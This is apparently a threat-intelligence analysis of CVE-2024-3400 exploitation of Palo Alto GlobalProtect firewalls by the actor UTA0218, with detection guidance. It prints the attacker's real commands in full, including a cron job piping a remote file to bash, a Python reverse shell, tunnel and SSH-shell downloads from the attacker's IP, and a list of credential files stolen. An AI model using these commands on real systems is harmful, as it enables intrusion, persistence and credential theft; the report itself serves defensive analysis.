Volexity's recent discovery on April 10,2024, unveiled a significant zero-day exploit targeting the GlobalProtectfeature of Palo Alto Networks PAN-OS within one of its network securitymonitoring (NSM) customers. This exploit granted the threat actor, known as UTA0218,the ability to execute remote code without authentication, thereby compromisingthe firewall device remotely. With this foothold, the attacker proceeded toestablish a reverse shell, deploy supplementary tools such as the UPSTYLEbackdoor, and prioritize the extraction of configuration data to facilitatelateral movement across victim organizations.

Further investigation revealed identicalexploitation at another NSM customer on April 11, 2024, indicating acoordinated attack. Volexity collaborated with its customer and Palo AltoNetworks Product Security Incident Response Team (PSIRT) to confirm thevulnerability as an OS command injection issue (CVE-2024-3400) with a CVSS basescore of 10.0. Palo Alto Networks issued an advisory with a threat protectionsignature and a fix timeline, expected by April 14, 2024.

The threat actor's tactics includedattempting to deploy a custom Python backdoor named UPSTYLE on the firewall andleveraging additional tools from remote servers to facilitate access tointernal networks. Evidence suggested reconnaissance activity dating back toMarch 26, 2024, with the attacker testing vulnerability by placing zero-bytefiles on firewall devices. Successful exploitation attempts occurred on April10 and 11, 2024.

Figure1: Discovery & Reporting Timeline (Source: Volexity)

UTA0218's post-exploitation tacticsinvolved using privileged service accounts like SMB and WinRM for lateralmovement within internal networks. Their data theft operations targeted variousWindows-related information, including the Active Directory database andspecific browser data. The attacker's infrastructure consisted ofcommand-and-control channels for communication and anonymized sources for toolaccess and interaction with victim systems. Volexity's analysis did not detectany intersections with other threat actors within their monitoring scope.Organizations are advised to vigilantly monitor network traffic and device logsfor signs of compromise, such as unusual HTTP requests and SMB/RDP connectionsoriginating from the firewall appliance, while also conducting proactive checksfor indications of lateral movement on internal infrastructure

Analysis

Volexity utilized data from its networksecurity sensors, client endpoint detection and response (EDR) software, andforensic analysis of multiple systems to comprehensively outline the attacker'sactivities in the investigated incidents. Here are the key findings:

• Exploitation of a zero-day vulnerability in Palo Alto Global Protect firewall devices enabled unauthenticated remote code execution, leading to actions such as creating a reverse shell, tool downloading, configuration data exfiltration, and lateral movement.
• The threat actor devised and attempted to deploy a new python-based backdoor known as UPSTYLE.
• The earliest evidence of exploitation was detected by Volexity on March 26, 2024, suggesting successful verification of the exploit.
• Initial persistence mechanisms involved configuring a cron job to retrieve a payload from a URL controlled by the attacker, executing specific commands, and downloading tools like GOST (GO Simple Tunnel).
• In one instance, attackers utilized a service account associated with the Palo Alto firewall, a member of the domain admins group, to pivot internally via SMB and WinRM.
• UTA0218's primary goals included obtaining domain backup DPAPI keys, targeting NTDS.DIT file for Active Directory credentials, and stealing cookies, login data, and DPAPI keys from user workstations. For a more detailed description, refer to the subsequent sections.

UPSTYLE Backdoor

On two occasions, UTA0218 made attempts todownload and run a backdoor referred to as UPSTYLE by Volexity. Two versions ofthis tool were observed, each with minor discrepancies in the files. In oneinstance, UTA0218 used the filename "update.py" in its attempt.Although UTA0218 tried to download and execute this file via CVE-2024-3400, theattempt was unsuccessful. Nevertheless, Volexity managed to retrieve the filefor further analysis.

The update.py script is designed to implanta backdoor in the directory /usr/lib/python3.6/site-packages/system.pth. ThisPython-based backdoor begins with an import statement, with its core contentencoded in base64 format. Using the .pth extension allows appending extra pathsto a Python module. Since Python 3.5, lines starting with "import"followed by a space or tab in .pth files are executed automatically. Hence,upon module import, the malicious code executes seamlessly. The attacker craftscommands by triggering a request to a nonexistent web page with a specificpattern. Subsequently, the backdoor scans the web server error log(/var/log/pan/sslvpn_ngx_error.log) for this pattern, decodes and executes anyembedded commands. The command output is then appended to a CSS file(/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css), alegitimate part of the firewall. Once executed, the log entry containing thecommand is deleted, and the original version of bootstrap.min.css is restored, alongwith its access and modification timestamps. Figure 1 illustrates the main loopof UPSTYLE.

Figure2:  UPSTYLE main loop (Source:Volexity)

Figure3:  UPSTYLE workflow (Pic Source:Volexity)

Post-exploitation Activity

The following filenames and indicators arerelated to the exploitation that occurred on April 10, 2024. However, thereader should note that in subsequent exploitation, these files were altered byUTA0218 for different victims. Their purpose and operation, however, werefundamentally the same.

After exploitation, the threat actorestablished persistence by continuously fetching and executing the contents ofa file named patch. When executed, this file downloads and executes a remotelyhosted file named policy. By modifying the contents of the policy file, thethreat actor was able to execute a variety of commands on the compromiseddevice. A total of six different permutations of the policy file were observedby Volexity.

The details of the patch file are shownbelow:

The contents of the patch file are shownbelow:

if [ ! -f '/etc/cron.d/update' ]; then
    printf "SHELL=/bin/bash\n\n* * * * * root wget -qO-http://172.233.228[.]93/policy | bash\n\n" > /etc/cron.d/update
fi

Upon execution, the script first verifiesthe presence of a cron file named "update." If this file is notfound, it creates it and sets up a cron job accordingly. Subsequently, itproceeds to download a file named "policy" from a remote server andexecutes it via bash every 60 seconds. Over time, the attacker manually updatesthe contents of this remote file to retrieve data from the device and establisha reverse shell. Notably, the attacker exhibited manual management of an accesscontrol list for the command-and-control (C2) server, restricting access to theserver's port solely to the device communicating with it.

Malicious Code Executed via Policy File

Six different versions of the policy filewere observed by Volexity. They each represent a different set of actions takenby the threat actor on a compromised device. The numbered versions that followare the order in which they were used by the threat actor.

Version 1

This file contained a one-liner reverseshell written in Python.

#!/bin/bash
r=`ps -ef | grep "import sys,socket,os" | grep -v grep`
if [[ -z "$r" ]]; then
    python -c "importsys,socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.233.228[.]93',443));[os.dup2(s.fileno(),fd)for fd in (0,1,2)];pty.spawn('/bin/bash')"
fi

Version 2

The attacker removed any previously createdCSS files containing various attacker command output, and then copied theconfiguration data from the firewall device into a new file, storing thehostname of the device in the CSS file. These files were saved to an externallyaccessible web directory where the attacker could subsequently retrieve them.

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css
cp /opt/pancfg/mgmt/saved-configs/running-config.xml/var/appweb/sslvpndocs/global-protect/<redacted>.css
uname -a > /var/appweb/sslvpndocs/global-protect/<redacted>.css

Version 3

This file was used to remove CSS filescreated in the previous step.

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css

Version 4

This version attempts to download a Golangtunneling tool named GOST andexecute it with two different command-line options to establish SOCKS5 and RTCPtunnels. However, the threat actor appears to have failed to successfullydownload the tool on this attempt.

#!/bin/bash
wget http://172.233.228[.]93/vpn_prot.gz -O /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1&
nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0[.]1:8123 -Fssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null2>&1 &

Version 5

This is a modified version of Version 4that successfully downloads GOST in a base64-encoded format.

#!/bin/bash
wget http://172.233.228[.]93/vpn.log -O /tmp/vpn.log
base64 -d /tmp/vpn.log > /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1&
nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0.1:8123 -Fssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null2>&1 &

The details of the GOST sample are asfollows:

Version 6

This file contains commands to download andexecute an open-sourcereverse shell that operates over SSH. The threat actor configures this shell torun on port 31289.

#!/bin/bash
wget http://172.233.228[.]93/lowdp -O /tmp/lowdp
ls -l /tmp/lowdp > /var/appweb/sslvpndocs/global-protect/u.css
chmod +x /tmp/lowdp
nohup /tmp/lowdp -l -p 31289 > /dev/null 2>&1 &

Details of the binary are shown below:

Lateral Movement & Data theft

In an instance of successful compromise,the attacker utilized a highly privileged service account associated with thePalo Alto Networks firewall device to infiltrate the internal network via SMBand WinRM protocols. The targeted data encompassed critical elements such asthe Active Directory database (ntds.dit), essential data (DPAPI), and Windowsevent logs(Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx).Furthermore, apart from Windows-related information, the attacker exfiltratedLogin Data, Cookies, and Local State data from Chrome and Microsoft Edge onspecific targets. Leveraging this information, the attacker managed to obtainthe browser master key and decrypt sensitive data, including storedcredentials.

Top ofForm

The list of files grabbed by the attackeris below:

%LOCALAPPDATA%\Google\Chrome\UserData\Default\Login Data
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
%APPDATA%\Roaming\Microsoft\Protect\<SID> -> DPAPI Keys
%SystemRoot%\NTDS\ntds.dit
%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

UTA0218 refrained from deploying malware oremploying additional persistence methods on systems within victim networks,likely influenced by the swift detection and response efforts by Volexity andits clients. However, the stolen data enabled the attacker to successfullycompromise credentials for all domain accounts. Furthermore, the attackerobtained access and may potentially utilize valid credentials or cookiesextracted from browser data on specific user workstations accessed during thebreach.

Infrastructure

Volexity observed UTA0218 utilizing adiverse range of infrastructure in their operations, which can be broadlycategorized into two types:

·      Command and control (C2)infrastructure hosting malware, utilized for establishing communicationchannels.

·      Anonymized sourceinfrastructure, employed for accessing tools and interacting with victiminfrastructure.

The anonymized infrastructure seemed toinvolve a combination of VPN usage and potentially compromised ASUS routers,facilitating access to files created by the attacker. Furthermore, UTA0218exploited a compromised AWS bucket and various Virtual Private Server (VPS)providers to store malicious files. Notably, the infrastructure identified byVolexity currently exhibits no overlaps with other threat actors withinVolexity's scope..

Detecting Compromise

There are two main approaches to detectingcompromise on a affected firewall device. The first method involves monitoringnetwork traffic and activities originating from Palo Alto Networks firewalldevices. Volexity is currently coordinating with Palo Alto Networks on thesecond method and will provide further details in a future update. Thesubsequent section outlines actions organizations can take to identifyindicators of compromise, any of which can indicate a compromised Palo AltoNetworks GlobalProtect firewall device. If signs of compromise are detected,please refer to the "Responding to Compromise" section forappropriate steps to take next.

Network Traffic Analysis

Volexity initially detected activityleading to the discovery of Palo Alto Networks GlobalProtect firewall deviceexploitation through alerts for malicious network requests from Volexity's NSMsensors. Analyzing network traffic logs for outbound and inbound connections toand from the GlobalProtect device can unveil suspicious behavior. Notableexamples of compromised GlobalProtect devices include direct-to-IP HTTPrequests via wget, uncommon SMB/RDP connections across the network, SMB filetransfers of browser data or ntds.dit files, and HTTP requests toworldtimeapi[.]org/api/timezone/etc/utc. While some of these activities mayoccur in larger environments, their origin from the firewall device is unusual,prompting further investigation. Leveraging customer Endpoint Detection andResponse (EDR) software, Volexity proactively investigated alerts for SMB dataexfiltration, combining network visibility and EDR telemetry to comprehensivelymap the attacker's access to compromised systems..

GlobalProtect Firewall Device LogAnalysis

During Volexity's incident responseinvestigations, affected customers successfully created a tech support filefrom the compromised firewall devices. This file, an archive containing dataused by Palo Alto Networks tech support to troubleshoot firewall issues, alsoincludes logs flagged by Volexity for key forensic artifacts, aiding inpotential compromise detection. Palo Alto GlobalProtect system administratorscan generate this file through the WebGUI's Device or Panorama tab, accessingthe "Support" page and selecting "Generate Tech SupportFile." Alternatively, they can use command-line interface commands for thesame purpose:

• tftp export tech-support to <tftp host>
• scp export tech-support to <username@host:path>

More information on this process from PaloAlto Networks can be found here.